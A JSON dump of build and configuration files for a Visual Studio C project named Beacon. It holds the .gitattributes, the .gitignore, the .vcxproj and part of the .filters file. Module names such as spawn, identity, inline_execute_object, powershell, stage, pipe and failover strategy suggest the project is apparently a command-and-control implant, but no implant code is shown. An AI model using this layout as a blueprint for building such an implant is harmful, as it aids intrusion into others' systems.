[
  {
    "path": ".gitattributes",
    "content": "###############################################################################\n# Set default behavior to automatically normalize line endings.\n###############################################################################\n* text=auto\n\n###############################################################################\n# Set default behavior for command prompt diff.\n#\n# This is need for earlier builds of msysgit that does not have it on by\n# default for csharp files.\n# Note: This is only used by command line\n###############################################################################\n#*.cs     diff=csharp\n\n###############################################################################\n# Set the merge driver for project and solution files\n#\n# Merging from the command prompt will add diff markers to the files if there\n# are conflicts (Merging from VS is not affected by the settings below, in VS\n# the diff markers are never inserted). Diff markers may cause the following \n# file extensions to fail to load in VS. An alternative would be to treat\n# these files as binary and thus will always conflict and require user\n# intervention with every merge. To do so, just uncomment the entries below\n###############################################################################\n#*.sln       merge=binary\n#*.csproj    merge=binary\n#*.vbproj    merge=binary\n#*.vcxproj   merge=binary\n#*.vcproj    merge=binary\n#*.dbproj    merge=binary\n#*.fsproj    merge=binary\n#*.lsproj    merge=binary\n#*.wixproj   merge=binary\n#*.modelproj merge=binary\n#*.sqlproj   merge=binary\n#*.wwaproj   merge=binary\n\n###############################################################################\n# behavior for image files\n#\n# image files are treated as binary by default.\n###############################################################################\n#*.jpg   binary\n#*.png   binary\n#*.gif   binary\n\n###############################################################################\n# diff behavior for common document formats\n# \n# Convert binary document formats to text before diffing them. This feature\n# is only available from the command line. Turn it on by uncommenting the \n# entries below.\n###############################################################################\n#*.doc   diff=astextplain\n#*.DOC   diff=astextplain\n#*.docx  diff=astextplain\n#*.DOCX  diff=astextplain\n#*.dot   diff=astextplain\n#*.DOT   diff=astextplain\n#*.pdf   diff=astextplain\n#*.PDF   diff=astextplain\n#*.rtf   diff=astextplain\n#*.RTF   diff=astextplain\n"
  },
  {
    "path": ".gitignore",
    "content": "## Ignore Visual Studio temporary files, build results, and\n## files generated by popular Visual Studio add-ons.\n##\n## Get latest from https://github.com/github/gitignore/blob/master/VisualStudio.gitignore\n\n# User-specific files\n*.rsuser\n*.suo\n*.user\n*.userosscache\n*.sln.docstates\n\n# User-specific files (MonoDevelop/Xamarin Studio)\n*.userprefs\n\n# Mono auto generated files\nmono_crash.*\n\n# Build results\n[Dd]ebug/\n[Dd]ebugPublic/\n[Rr]elease/\n[Rr]eleases/\nx64/\nx86/\n[Ww][Ii][Nn]32/\n[Aa][Rr][Mm]/\n[Aa][Rr][Mm]64/\nbld/\n[Bb]in/\n[Oo]bj/\n[Oo]ut/\n[Ll]og/\n[Ll]ogs/\n\n# Visual Studio 2015/2017 cache/options directory\n.vs/\n# Uncomment if you have tasks that create the project's static files in wwwroot\n#wwwroot/\n\n# Visual Studio 2017 auto generated files\nGenerated\\ Files/\n\n# MSTest test Results\n[Tt]est[Rr]esult*/\n[Bb]uild[Ll]og.*\n\n# NUnit\n*.VisualState.xml\nTestResult.xml\nnunit-*.xml\n\n# Build Results of an ATL Project\n[Dd]ebugPS/\n[Rr]eleasePS/\ndlldata.c\n\n# Benchmark Results\nBenchmarkDotNet.Artifacts/\n\n# .NET Core\nproject.lock.json\nproject.fragment.lock.json\nartifacts/\n\n# ASP.NET Scaffolding\nScaffoldingReadMe.txt\n\n# StyleCop\nStyleCopReport.xml\n\n# Files built by Visual Studio\n*_i.c\n*_p.c\n*_h.h\n*.ilk\n*.meta\n*.obj\n*.iobj\n*.pch\n*.pdb\n*.ipdb\n*.pgc\n*.pgd\n*.rsp\n*.sbr\n*.tlb\n*.tli\n*.tlh\n*.tmp\n*.tmp_proj\n*_wpftmp.csproj\n*.log\n*.vspscc\n*.vssscc\n.builds\n*.pidb\n*.svclog\n*.scc\n\n# Chutzpah Test files\n_Chutzpah*\n\n# Visual C++ cache files\nipch/\n*.aps\n*.ncb\n*.opendb\n*.opensdf\n*.sdf\n*.cachefile\n*.VC.db\n*.VC.VC.opendb\n\n# Visual Studio profiler\n*.psess\n*.vsp\n*.vspx\n*.sap\n\n# Visual Studio Trace Files\n*.e2e\n\n# TFS 2012 Local Workspace\n$tf/\n\n# Guidance Automation Toolkit\n*.gpState\n\n# ReSharper is a .NET coding add-in\n_ReSharper*/\n*.[Rr]e[Ss]harper\n*.DotSettings.user\n\n# TeamCity is a build add-in\n_TeamCity*\n\n# DotCover is a Code Coverage Tool\n*.dotCover\n\n# AxoCover is a Code Coverage Tool\n.axoCover/*\n!.axoCover/settings.json\n\n# Coverlet is a free, cross platform Code Coverage Tool\ncoverage*.json\ncoverage*.xml\ncoverage*.info\n\n# Visual Studio code coverage results\n*.coverage\n*.coveragexml\n\n# NCrunch\n_NCrunch_*\n.*crunch*.local.xml\nnCrunchTemp_*\n\n# MightyMoose\n*.mm.*\nAutoTest.Net/\n\n# Web workbench (sass)\n.sass-cache/\n\n# Installshield output folder\n[Ee]xpress/\n\n# DocProject is a documentation generator add-in\nDocProject/buildhelp/\nDocProject/Help/*.HxT\nDocProject/Help/*.HxC\nDocProject/Help/*.hhc\nDocProject/Help/*.hhk\nDocProject/Help/*.hhp\nDocProject/Help/Html2\nDocProject/Help/html\n\n# Click-Once directory\npublish/\n\n# Publish Web Output\n*.[Pp]ublish.xml\n*.azurePubxml\n# Note: Comment the next line if you want to checkin your web deploy settings,\n# but database connection strings (with potential passwords) will be unencrypted\n*.pubxml\n*.publishproj\n\n# Microsoft Azure Web App publish settings. Comment the next line if you want to\n# checkin your Azure Web App publish settings, but sensitive information contained\n# in these scripts will be unencrypted\nPublishScripts/\n\n# NuGet Packages\n*.nupkg\n# NuGet Symbol Packages\n*.snupkg\n# The packages folder can be ignored because of Package Restore\n**/[Pp]ackages/*\n# except build/, which is used as an MSBuild target.\n!**/[Pp]ackages/build/\n# Uncomment if necessary however generally it will be regenerated when needed\n#!**/[Pp]ackages/repositories.config\n# NuGet v3's project.json files produces more ignorable files\n*.nuget.props\n*.nuget.targets\n\n# Microsoft Azure Build Output\ncsx/\n*.build.csdef\n\n# Microsoft Azure Emulator\necf/\nrcf/\n\n# Windows Store app package directories and files\nAppPackages/\nBundleArtifacts/\nPackage.StoreAssociation.xml\n_pkginfo.txt\n*.appx\n*.appxbundle\n*.appxupload\n\n# Visual Studio cache files\n# files ending in .cache can be ignored\n*.[Cc]ache\n# but keep track of directories ending in .cache\n!?*.[Cc]ache/\n\n# Others\nClientBin/\n~$*\n*~\n*.dbmdl\n*.dbproj.schemaview\n*.jfm\n*.pfx\n*.publishsettings\norleans.codegen.cs\n\n# Including strong name files can present a security risk\n# (https://github.com/github/gitignore/pull/2483#issue-259490424)\n#*.snk\n\n# Since there are multiple workflows, uncomment next line to ignore bower_components\n# (https://github.com/github/gitignore/pull/1529#issuecomment-104372622)\n#bower_components/\n\n# RIA/Silverlight projects\nGenerated_Code/\n\n# Backup & report files from converting an old project file\n# to a newer Visual Studio version. Backup files are not needed,\n# because we have git ;-)\n_UpgradeReport_Files/\nBackup*/\nUpgradeLog*.XML\nUpgradeLog*.htm\nServiceFabricBackup/\n*.rptproj.bak\n\n# SQL Server files\n*.mdf\n*.ldf\n*.ndf\n\n# Business Intelligence projects\n*.rdl.data\n*.bim.layout\n*.bim_*.settings\n*.rptproj.rsuser\n*- [Bb]ackup.rdl\n*- [Bb]ackup ([0-9]).rdl\n*- [Bb]ackup ([0-9][0-9]).rdl\n\n# Microsoft Fakes\nFakesAssemblies/\n\n# GhostDoc plugin setting file\n*.GhostDoc.xml\n\n# Node.js Tools for Visual Studio\n.ntvs_analysis.dat\nnode_modules/\n\n# Visual Studio 6 build log\n*.plg\n\n# Visual Studio 6 workspace options file\n*.opt\n\n# Visual Studio 6 auto-generated workspace file (contains which files were open etc.)\n*.vbw\n\n# Visual Studio LightSwitch build output\n**/*.HTMLClient/GeneratedArtifacts\n**/*.DesktopClient/GeneratedArtifacts\n**/*.DesktopClient/ModelManifest.xml\n**/*.Server/GeneratedArtifacts\n**/*.Server/ModelManifest.xml\n_Pvt_Extensions\n\n# Paket dependency manager\n.paket/paket.exe\npaket-files/\n\n# FAKE - F# Make\n.fake/\n\n# CodeRush personal settings\n.cr/personal\n\n# Python Tools for Visual Studio (PTVS)\n__pycache__/\n*.pyc\n\n# Cake - Uncomment if you are using it\n# tools/**\n# !tools/packages.config\n\n# Tabs Studio\n*.tss\n\n# Telerik's JustMock configuration file\n*.jmconfig\n\n# BizTalk build output\n*.btp.cs\n*.btm.cs\n*.odx.cs\n*.xsd.cs\n\n# OpenCover UI analysis results\nOpenCover/\n\n# Azure Stream Analytics local run output\nASALocalRun/\n\n# MSBuild Binary and Structured Log\n*.binlog\n\n# NVidia Nsight GPU debugger configuration file\n*.nvuser\n\n# MFractors (Xamarin productivity tool) working folder\n.mfractor/\n\n# Local History for Visual Studio\n.localhistory/\n\n# BeatPulse healthcheck temp database\nhealthchecksdb\n\n# Backup folder for Package Reference Convert tool in Visual Studio 2017\nMigrationBackup/\n\n# Ionide (cross platform F# VS Code tools) working folder\n.ionide/\n\n# Fody - auto-generated XML schema\nFodyWeavers.xsd\n/Beacon/settings.h\n/libtomcrypt/\n/libtommath/"
  },
  {
    "path": "Beacon/Beacon.vcxproj",
    "content": "<?xml version=\"1.0\" encoding=\"utf-8\"?>\n<Project DefaultTargets=\"Build\" xmlns=\"http://schemas.microsoft.com/developer/msbuild/2003\">\n  <ItemGroup Label=\"ProjectConfigurations\">\n    <ProjectConfiguration Include=\"Debug|Win32\">\n      <Configuration>Debug</Configuration>\n      <Platform>Win32</Platform>\n    </ProjectConfiguration>\n    <ProjectConfiguration Include=\"Release|Win32\">\n      <Configuration>Release</Configuration>\n      <Platform>Win32</Platform>\n    </ProjectConfiguration>\n    <ProjectConfiguration Include=\"Debug|x64\">\n      <Configuration>Debug</Configuration>\n      <Platform>x64</Platform>\n    </ProjectConfiguration>\n    <ProjectConfiguration Include=\"Release|x64\">\n      <Configuration>Release</Configuration>\n      <Platform>x64</Platform>\n    </ProjectConfiguration>\n  </ItemGroup>\n  <ItemGroup>\n    <ClInclude Include=\"api.h\" />\n    <ClInclude Include=\"argument.h\" />\n    <ClInclude Include=\"beacon.h\" />\n    <ClInclude Include=\"callback.h\" />\n    <ClInclude Include=\"channel.h\" />\n    <ClInclude Include=\"command.h\" />\n    <ClInclude Include=\"crypto.h\" />\n    <ClInclude Include=\"download.h\" />\n    <ClInclude Include=\"error.h\" />\n    <ClInclude Include=\"filesystem.h\" />\n    <ClInclude Include=\"identity.h\" />\n    <ClInclude Include=\"inline_execute_object.h\" />\n    <ClInclude Include=\"job.h\" />\n    <ClInclude Include=\"link.h\" />\n    <ClInclude Include=\"logger.h\" />\n    <ClInclude Include=\"macros.h\" />\n    <ClInclude Include=\"metadata.h\" />\n    <ClInclude Include=\"network.h\" />\n    <ClInclude Include=\"pch.h\" />\n    <ClInclude Include=\"pipe.h\" />\n    <ClInclude Include=\"powershell.h\" />\n    <ClInclude Include=\"process.h\" />\n    <ClInclude Include=\"protocol.h\" />\n    <ClInclude Include=\"self.h\" />\n    <ClInclude Include=\"settings.h\" />\n    <ClInclude Include=\"spawn.h\" />\n    <ClInclude Include=\"stage.h\" />\n    <ClInclude Include=\"strategy.h\" />\n    <ClInclude Include=\"thread.h\" />\n    <ClInclude Include=\"transform.h\" />\n    <ClInclude Include=\"utils.h\" />\n    <ClInclude Include=\"web_response.h\" />\n  </ItemGroup>\n  <ItemGroup>\n    <ClCompile Include=\"api.c\" />\n    <ClCompile Include=\"argument.c\" />\n    <ClCompile Include=\"beacon.c\" />\n    <ClCompile Include=\"channel.c\" />\n    <ClCompile Include=\"crypto.c\" />\n    <ClCompile Include=\"data.c\" />\n    <ClCompile Include=\"download.c\" />\n    <ClCompile Include=\"filesystem.c\" />\n    <ClCompile Include=\"format.c\" />\n    <ClCompile Include=\"identity.c\" />\n    <ClCompile Include=\"inline_execute_object.c\" />\n    <ClCompile Include=\"job.c\" />\n    <ClCompile Include=\"link.c\" />\n    <ClCompile Include=\"main.c\" />\n    <ClCompile Include=\"memory.c\" />\n    <ClCompile Include=\"metadata.c\" />\n    <ClCompile Include=\"network.c\" />\n    <ClCompile Include=\"pch.c\">\n      <PrecompiledHeader Condition=\"'$(Configuration)|$(Platform)'=='Debug|Win32'\">Create</PrecompiledHeader>\n      <PrecompiledHeader Condition=\"'$(Configuration)|$(Platform)'=='Release|Win32'\">Create</PrecompiledHeader>\n      <PrecompiledHeader Condition=\"'$(Configuration)|$(Platform)'=='Debug|x64'\">Create</PrecompiledHeader>\n      <PrecompiledHeader Condition=\"'$(Configuration)|$(Platform)'=='Release|x64'\">Create</PrecompiledHeader>\n    </ClCompile>\n    <ClCompile Include=\"pipe.c\" />\n    <ClCompile Include=\"powershell.c\" />\n    <ClCompile Include=\"process.c\" />\n    <ClCompile Include=\"protocol.c\" />\n    <ClCompile Include=\"self.c\" />\n    <ClCompile Include=\"spawn.c\" />\n    <ClCompile Include=\"stage.c\" />\n    <ClCompile Include=\"strategy.c\" />\n    <ClInclude Include=\"strategy_default.c\">\n      <FileType>CppCode</FileType>\n    </ClInclude>\n    <ClInclude Include=\"strategy_random.c\">\n      <FileType>CppCode</FileType>\n    </ClInclude>\n    <ClInclude Include=\"strategy_failover.c\">\n      <FileType>CppCode</FileType>\n    </ClInclude>\n    <ClCompile Include=\"task.c\" />\n    <ClCompile Include=\"thread.c\" />\n    <ClCompile Include=\"transform.c\" />\n    <ClCompile Include=\"utils.c\" />\n    <ClCompile Include=\"web_response.c\" />\n  </ItemGroup>\n  <ItemGroup>\n    <ProjectReference Include=\"..\\libtomcrypt\\libtomcrypt_VS2008.vcxproj\">\n      <Project>{e3802982-dcb6-4d85-a2bd-6b08f0657e79}</Project>\n    </ProjectReference>\n  </ItemGroup>\n  <PropertyGroup Label=\"Globals\">\n    <VCProjectVersion>17.0</VCProjectVersion>\n    <Keyword>Win32Proj</Keyword>\n    <ProjectGuid>{95502b5e-5763-4ec5-a64c-1e9e33409e2f}</ProjectGuid>\n    <RootNamespace>Beacon</RootNamespace>\n    <WindowsTargetPlatformVersion>10.0</WindowsTargetPlatformVersion>\n  </PropertyGroup>\n  <Import Project=\"$(VCTargetsPath)\\Microsoft.Cpp.Default.props\" />\n  <PropertyGroup Condition=\"'$(Configuration)|$(Platform)'=='Debug|Win32'\" Label=\"Configuration\">\n    <ConfigurationType>Application</ConfigurationType>\n    <UseDebugLibraries>true</UseDebugLibraries>\n    <PlatformToolset>v143</PlatformToolset>\n    <CharacterSet>NotSet</CharacterSet>\n  </PropertyGroup>\n  <PropertyGroup Condition=\"'$(Configuration)|$(Platform)'=='Release|Win32'\" Label=\"Configuration\">\n    <ConfigurationType>Application</ConfigurationType>\n    <UseDebugLibraries>false</UseDebugLibraries>\n    <PlatformToolset>v143</PlatformToolset>\n    <WholeProgramOptimization>true</WholeProgramOptimization>\n    <CharacterSet>NotSet</CharacterSet>\n  </PropertyGroup>\n  <PropertyGroup Condition=\"'$(Configuration)|$(Platform)'=='Debug|x64'\" Label=\"Configuration\">\n    <ConfigurationType>Application</ConfigurationType>\n    <UseDebugLibraries>true</UseDebugLibraries>\n    <PlatformToolset>v143</PlatformToolset>\n    <CharacterSet>NotSet</CharacterSet>\n  </PropertyGroup>\n  <PropertyGroup Condition=\"'$(Configuration)|$(Platform)'=='Release|x64'\" Label=\"Configuration\">\n    <ConfigurationType>Application</ConfigurationType>\n    <UseDebugLibraries>false</UseDebugLibraries>\n    <PlatformToolset>v143</PlatformToolset>\n    <WholeProgramOptimization>true</WholeProgramOptimization>\n    <CharacterSet>NotSet</CharacterSet>\n  </PropertyGroup>\n  <Import Project=\"$(VCTargetsPath)\\Microsoft.Cpp.props\" />\n  <ImportGroup Label=\"ExtensionSettings\">\n  </ImportGroup>\n  <ImportGroup Label=\"Shared\">\n  </ImportGroup>\n  <ImportGroup Label=\"PropertySheets\" Condition=\"'$(Configuration)|$(Platform)'=='Debug|Win32'\">\n    <Import Project=\"$(UserRootDir)\\Microsoft.Cpp.$(Platform).user.props\" Condition=\"exists('$(UserRootDir)\\Microsoft.Cpp.$(Platform).user.props')\" Label=\"LocalAppDataPlatform\" />\n  </ImportGroup>\n  <ImportGroup Label=\"PropertySheets\" Condition=\"'$(Configuration)|$(Platform)'=='Release|Win32'\">\n    <Import Project=\"$(UserRootDir)\\Microsoft.Cpp.$(Platform).user.props\" Condition=\"exists('$(UserRootDir)\\Microsoft.Cpp.$(Platform).user.props')\" Label=\"LocalAppDataPlatform\" />\n  </ImportGroup>\n  <ImportGroup Label=\"PropertySheets\" Condition=\"'$(Configuration)|$(Platform)'=='Debug|x64'\">\n    <Import Project=\"$(UserRootDir)\\Microsoft.Cpp.$(Platform).user.props\" Condition=\"exists('$(UserRootDir)\\Microsoft.Cpp.$(Platform).user.props')\" Label=\"LocalAppDataPlatform\" />\n  </ImportGroup>\n  <ImportGroup Label=\"PropertySheets\" Condition=\"'$(Configuration)|$(Platform)'=='Release|x64'\">\n    <Import Project=\"$(UserRootDir)\\Microsoft.Cpp.$(Platform).user.props\" Condition=\"exists('$(UserRootDir)\\Microsoft.Cpp.$(Platform).user.props')\" Label=\"LocalAppDataPlatform\" />\n  </ImportGroup>\n  <PropertyGroup Label=\"UserMacros\" />\n  <PropertyGroup Condition=\"'$(Configuration)|$(Platform)'=='Debug|Win32'\">\n    <OutDir>$(SolutionDir)out\\$(Configuration)\\$(Platform)</OutDir>\n    <IntDir>$(SolutionDir)int\\$(Configuration)\\$(Platform)</IntDir>\n    <LinkIncremental>false</LinkIncremental>\n    <GenerateManifest>false</GenerateManifest>\n  </PropertyGroup>\n  <PropertyGroup Condition=\"'$(Configuration)|$(Platform)'=='Release|Win32'\">\n    <OutDir>$(SolutionDir)out\\$(Configuration)\\$(Platform)</OutDir>\n    <IntDir>$(SolutionDir)int\\$(Configuration)\\$(Platform)</IntDir>\n    <LinkIncremental>false</LinkIncremental>\n    <GenerateManifest>false</GenerateManifest>\n  </PropertyGroup>\n  <PropertyGroup Condition=\"'$(Configuration)|$(Platform)'=='Debug|x64'\">\n    <OutDir>$(SolutionDir)out\\$(Configuration)\\$(Platform)</OutDir>\n    <IntDir>$(SolutionDir)int\\$(Configuration)\\$(Platform)</IntDir>\n    <LinkIncremental>false</LinkIncremental>\n    <GenerateManifest>false</GenerateManifest>\n  </PropertyGroup>\n  <PropertyGroup Condition=\"'$(Configuration)|$(Platform)'=='Release|x64'\">\n    <OutDir>$(SolutionDir)out\\$(Configuration)\\$(Platform)</OutDir>\n    <IntDir>$(SolutionDir)int\\$(Configuration)\\$(Platform)</IntDir>\n    <LinkIncremental>false</LinkIncremental>\n    <GenerateManifest>false</GenerateManifest>\n  </PropertyGroup>\n  <ItemDefinitionGroup Condition=\"'$(Configuration)|$(Platform)'=='Debug|Win32'\">\n    <ClCompile>\n      <WarningLevel>Level3</WarningLevel>\n      <SDLCheck>false</SDLCheck>\n      <PreprocessorDefinitions>WIN32;_DEBUG;_CONSOLE;%(PreprocessorDefinitions)</PreprocessorDefinitions>\n      <ConformanceMode>true</ConformanceMode>\n      <LanguageStandard>stdcpp20</LanguageStandard>\n      <LanguageStandard_C>stdc17</LanguageStandard_C>\n      <PrecompiledHeader>Use</PrecompiledHeader>\n      <PrecompiledHeaderFile>pch.h</PrecompiledHeaderFile>\n      <RuntimeLibrary>MultiThreadedDebug</RuntimeLibrary>\n      <AdditionalIncludeDirectories>$(SolutionDir)libtomcrypt\\src\\headers;%(AdditionalIncludeDirectories)</AdditionalIncludeDirectories>\n      <BufferSecurityCheck>false</BufferSecurityCheck>\n      <ExceptionHandling>false</ExceptionHandling>\n    </ClCompile>\n    <Link>\n      <SubSystem>Console</SubSystem>\n      <GenerateDebugInformation>true</GenerateDebugInformation>\n    </Link>\n  </ItemDefinitionGroup>\n  <ItemDefinitionGroup Condition=\"'$(Configuration)|$(Platform)'=='Release|Win32'\">\n    <ClCompile>\n      <WarningLevel>Level3</WarningLevel>\n      <FunctionLevelLinking>true</FunctionLevelLinking>\n      <IntrinsicFunctions>true</IntrinsicFunctions>\n      <SDLCheck>false</SDLCheck>\n      <PreprocessorDefinitions>WIN32;NDEBUG;_CONSOLE;%(PreprocessorDefinitions)</PreprocessorDefinitions>\n      <ConformanceMode>true</ConformanceMode>\n      <LanguageStandard>stdcpp20</LanguageStandard>\n      <LanguageStandard_C>stdc17</LanguageStandard_C>\n      <PrecompiledHeader>Use</PrecompiledHeader>\n      <PrecompiledHeaderFile>pch.h</PrecompiledHeaderFile>\n      <RuntimeLibrary>MultiThreaded</RuntimeLibrary>\n      <AdditionalIncludeDirectories>$(SolutionDir)libtomcrypt\\src\\headers;%(AdditionalIncludeDirectories)</AdditionalIncludeDirectories>\n      <Optimization>MinSpace</Optimization>\n      <FavorSizeOrSpeed>Size</FavorSizeOrSpeed>\n      <BufferSecurityCheck>false</BufferSecurityCheck>\n      <ExceptionHandling>false</ExceptionHandling>\n    </ClCompile>\n    <Link>\n      <SubSystem>Console</SubSystem>\n      <EnableCOMDATFolding>true</EnableCOMDATFolding>\n      <OptimizeReferences>true</OptimizeReferences>\n      <GenerateDebugInformation>true</GenerateDebugInformation>\n    </Link>\n  </ItemDefinitionGroup>\n  <ItemDefinitionGroup Condition=\"'$(Configuration)|$(Platform)'=='Debug|x64'\">\n    <ClCompile>\n      <WarningLevel>Level3</WarningLevel>\n      <SDLCheck>false</SDLCheck>\n      <PreprocessorDefinitions>_DEBUG;_CONSOLE;%(PreprocessorDefinitions)</PreprocessorDefinitions>\n      <ConformanceMode>true</ConformanceMode>\n      <LanguageStandard>stdcpp20</LanguageStandard>\n      <LanguageStandard_C>stdc17</LanguageStandard_C>\n      <PrecompiledHeader>Use</PrecompiledHeader>\n      <PrecompiledHeaderFile>pch.h</PrecompiledHeaderFile>\n      <RuntimeLibrary>MultiThreadedDebug</RuntimeLibrary>\n      <AdditionalIncludeDirectories>$(SolutionDir)libtomcrypt\\src\\headers;%(AdditionalIncludeDirectories)</AdditionalIncludeDirectories>\n      <BufferSecurityCheck>false</BufferSecurityCheck>\n      <ExceptionHandling>false</ExceptionHandling>\n    </ClCompile>\n    <Link>\n      <SubSystem>Console</SubSystem>\n      <GenerateDebugInformation>true</GenerateDebugInformation>\n    </Link>\n  </ItemDefinitionGroup>\n  <ItemDefinitionGroup Condition=\"'$(Configuration)|$(Platform)'=='Release|x64'\">\n    <ClCompile>\n      <WarningLevel>Level3</WarningLevel>\n      <FunctionLevelLinking>true</FunctionLevelLinking>\n      <IntrinsicFunctions>true</IntrinsicFunctions>\n      <SDLCheck>false</SDLCheck>\n      <PreprocessorDefinitions>NDEBUG;_CONSOLE;%(PreprocessorDefinitions)</PreprocessorDefinitions>\n      <ConformanceMode>true</ConformanceMode>\n      <LanguageStandard>stdcpp20</LanguageStandard>\n      <LanguageStandard_C>stdc17</LanguageStandard_C>\n      <PrecompiledHeader>Use</PrecompiledHeader>\n      <PrecompiledHeaderFile>pch.h</PrecompiledHeaderFile>\n      <RuntimeLibrary>MultiThreaded</RuntimeLibrary>\n      <AdditionalIncludeDirectories>$(SolutionDir)libtomcrypt\\src\\headers;%(AdditionalIncludeDirectories)</AdditionalIncludeDirectories>\n      <Optimization>MinSpace</Optimization>\n      <FavorSizeOrSpeed>Size</FavorSizeOrSpeed>\n      <BufferSecurityCheck>false</BufferSecurityCheck>\n      <ExceptionHandling>false</ExceptionHandling>\n    </ClCompile>\n    <Link>\n      <SubSystem>Console</SubSystem>\n      <EnableCOMDATFolding>true</EnableCOMDATFolding>\n      <OptimizeReferences>true</OptimizeReferences>\n      <GenerateDebugInformation>true</GenerateDebugInformation>\n    </Link>\n  </ItemDefinitionGroup>\n  <Import Project=\"$(VCTargetsPath)\\Microsoft.Cpp.targets\" />\n  <ImportGroup Label=\"ExtensionTargets\">\n  </ImportGroup>\n</Project>"
  },
  {
    "path": "Beacon/Beacon.vcxproj.filters",
    "content": "﻿<?xml version=\"1.0\" encoding=\"utf-8\"?>\n<Project ToolsVersion=\"4.0\" xmlns=\"http://schemas.microsoft.com/developer/msbuild/2003\">\n  <ItemGroup>\n    <Filter Include=\"Source Files\">\n      <UniqueIdentifier>{4FC737F1-C7A5-4376-A066-2A32D752A2FF}</UniqueIdentifier>\n      <Extensions>cpp;c;cc;cxx;c++;cppm;ixx;def;odl;idl;hpj;bat;asm;asmx</Extensions>\n    </Filter>\n    <Filter Include=\"Header Files\">\n      <UniqueIdentifier>{93995380-89BD-4b04-88EB-625FBE52EBFB}</UniqueIdentifier>\n      <Extensions>h;hh;hpp;hxx;h++;hm;inl;inc;ipp;xsd</Extensions>\n    </Filter>\n    <Filter Include=\"Resource Files\">\n      <UniqueIdentifier>{67DA6AB6-F800-4c08-8B7A-83BB121AAD01}</UniqueIdentifier>\n      <Extensions>rc;ico;cur;bmp;dlg;rc2;rct;bin;rgs;gif;jpg;jpeg;jpe;resx;tiff;tif;png;wav;mfcribbon-ms</Extensions>\n    </Filter>\n  </ItemGroup>\n  <ItemGroup>\n    <ClInclude Include=\"beacon.h\">\n      <Filter>Header Files</Filter>\n    </ClInclude>\n    <ClInclude Include=\"logger.h\">\n      <Filter>Header Files</Filter>\n    </ClInclude>\n    <ClInclude Include=\"pch.h\">\n      <Filter>Header Files</Filter>\n    </ClInclude>\n    <ClInclude Include=\"macros.h\">\n      <Filter>Header Files</Filter>\n    </ClInclude>\n    <ClInclude Include=\"callback.h\">\n      <Filter>Header Files</Filter>\n    </ClInclude>\n    <ClInclude Include=\"settings.h\">\n      <Filter>Header Files</Filter>\n    </ClInclude>\n    <ClInclude Include=\"error.h\">\n      <Filter>Header Files</Filter>\n    </ClInclude>\n    <ClInclude Include=\"command.h\">\n      <Filter>Header Files</Filter>\n    </ClInclude>\n    <ClInclude Include=\"spawn.h\">\n      <Filter>Header Files</Filter>\n    </ClInclude>\n    <ClInclude Include=\"identity.h\">\n      <Filter>Header Files</Filter>\n    </ClInclude>\n    <ClInclude Include=\"self.h\">\n      <Filter>Header Files</Filter>\n    </ClInclude>\n    <ClInclude Include=\"filesystem.h\">\n      <Filter>Header Files</Filter>\n    </ClInclude>\n    <ClInclude Include=\"argument.h\">\n      <Filter>Header Files</Filter>\n    </ClInclude>\n    <ClInclude Include=\"protocol.h\">\n      <Filter>Header Files</Filter>\n    </ClInclude>\n    <ClInclude Include=\"network.h\">\n      <Filter>Header Files</Filter>\n    </ClInclude>\n    <ClInclude Include=\"link.h\">\n      <Filter>Header Files</Filter>\n    </ClInclude>\n    <ClInclude Include=\"utils.h\">\n      <Filter>Header Files</Filter>\n    </ClInclude>\n    <ClInclude Include=\"pipe.h\">\n      <Filter>Header Files</Filter>\n    </ClInclude>\n    <ClInclude Include=\"job.h\">\n      <Filter>Header Files</Filter>\n    </ClInclude>\n    <ClInclude Include=\"channel.h\">\n      <Filter>Header Files</Filter>\n    </ClInclude>\n    <ClInclude Include=\"download.h\">\n      <Filter>Header Files</Filter>\n    </ClInclude>\n    <ClInclude Include=\"api.h\">\n      <Filter>Header Files</Filter>\n    </ClInclude>\n    <ClInclude Include=\"inline_execute_object.h\">\n      <Filter>Header Files</Filter>\n    </ClInclude>\n    <ClInclude Include=\"stage.h\">\n      <Filter>Header Files</Filter>\n    </ClInclude>\n    <ClInclude Include=\"powershell.h\">\n      <Filter>Header Files</Filter>\n    </ClInclude>\n    <ClInclude Include=\"metadata.h\">\n      <Filter>Header Files</Filter>\n    </ClInclude>\n    <ClInclude Include=\"process.h\">\n      <Filter>Header Files</Filter>\n    </ClInclude>\n    <ClInclude Include=\"thread.h\">\n      <Filter>Header Files</Filter>\n    </ClInclude>\n    <ClInclude Include=\"web_response.h\">\n      <Filter>Header Files</Filter>\n    </ClInclude>\n    <ClInclude Include=\"crypto.h\">\n      <Filter>Header Files</Filter>\n    </ClInclude>\n    <ClInclude Include=\"transform.h\">\n      <Filter>Header Files</Filter>\n    </ClInclude>\n    <ClInclude Include=\"strategy_default.c\">\n      <Filter>Source Files</Filter>\n    </ClInclude>\n    <ClInclude Include=\"strategy_random.c\">\n      <Filter>Source Files</Filter>\n    </ClInclude>\n    <ClInclude Include=\"strategy_failover.c\">\n      <Filter>Source Files</Filter>\n    </ClInclude>\n    <ClInclude Include=\"strategy.h\">\n      <Filter>Header Files</Filter>\n    </ClInclude>\n  </ItemGroup>\n  <ItemGroup>\n    <ClCompile Include=\"main.c\">\n      <Filter>Source Files</Filter>\n    </ClCompile>\n    <ClCompile Include=\"pch.c\">\n      <Filter>Source Files</Filter>\n    </ClCompile>\n    <ClCompile Include=\"beacon.c\">\n      <Filter>Source Files</Filter>\n    </ClCompile>\n    <ClCompile Include=\"data.c\">\n      <Filter>Source Files</Filter>\n    </ClCompile>\n    <ClCompile Include=\"format.c\">\n      <Filter>Source Files</Filter>\n    </ClCompile>\n    <ClCompile Include=\"identity.c\">\n      <Filter>Source Files</Filter>\n    </ClCompile>\n    <ClCompile Include=\"spawn.c\">\n      <Filter>Source Files</Filter>\n    </ClCompile>\n    <ClCompile Include=\"task.c\">\n      <Filter>Source Files</Filter>\n    </ClCompile>\n    <ClCompile Include=\"self.c\">\n      <Filter>Source Files</Filter>\n    </ClCompile>\n    <ClCompile Include=\"filesystem.c\">\n      <Filter>Source Files</Filter>\n    </ClCompile>\n    <ClCompile Include=\"network.c\">\n      <Filter>Source Files</Filter>\n    </ClCompile>\n    <ClCompile Include=\"argument.c\">\n      <Filter>Source Files</Filter>\n    </ClCompile>\n    <ClCompile Include=\"job.c\">\n      <Filter>Source Files</Filter>\n    </ClCompile>\n    <ClCompile Include=\"protocol.c\">\n      <Filter>Source Files</Filter>\n    </ClCompile>\n    <ClCompile Include=\"link.c\">\n      <Filter>Source Files</Filter>\n    </ClCompile>\n    <ClCompile Include=\"utils.c\">\n      <Filter>Source Files</Filter>\n    </ClCompile>\n    <ClCompile Include=\"pipe.c\">\n      <Filter>Source Files</Filter>\n    </ClCompile>\n    